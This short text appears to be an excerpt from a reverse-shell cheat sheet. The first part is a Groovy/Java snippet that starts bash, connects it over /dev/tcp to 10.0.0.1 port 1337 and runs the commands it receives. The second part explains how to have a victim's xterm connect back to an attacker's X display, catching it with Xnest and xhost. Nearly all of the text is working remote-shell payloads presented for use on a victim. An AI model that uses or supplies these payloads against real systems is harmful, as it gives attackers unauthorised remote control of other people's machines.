r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
XTERM
# launching this command on victim it tries to connect back at port 6001
xterm -display 10.0.0.1:1
# on your machine, you take it back with
Xnest :1
# a and auth it
xhost +victim_ip